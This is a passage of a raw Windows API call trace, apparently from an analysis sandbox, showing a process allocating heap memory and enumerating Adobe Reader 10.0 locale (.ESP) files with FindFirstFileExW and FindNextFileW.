0x124b7d0 [0081.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259b08 [0081.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275a10 [0081.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.794] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259b28 [0081.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275b18 [0081.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.796] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0081.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259b48 [0081.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275c20 [0081.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6a40) returned 0x129a930 [0081.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0081.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.798] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0081.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259b68 [0081.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275d28 [0081.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.799] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ESP", cAlternateFileName="")) returned 1 [0081.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259b88 [0081.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275e30 [0081.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ESP", cAlternateFileName="")) returned 1 [0081.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ba8 [0081.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275f38 [0081.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.802] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0081.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259bc8 [0081.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276040 [0081.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.804] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0081.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259be8 [0081.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276148 [0081.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.805] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0081.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259c08 [0081.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276250 [0081.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.806] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ESP", cAlternateFileName="")) returned 1 [0081.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.807] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0081.807] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ESP", cAlternateFileName="")) returned 1 [0081.807] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0081.807] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 0 [0081.808] GetLastError () returned 0x12 [0081.808] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0081.808] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ESP", cAlternateFileName="")) returned 1 [0081.808] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, 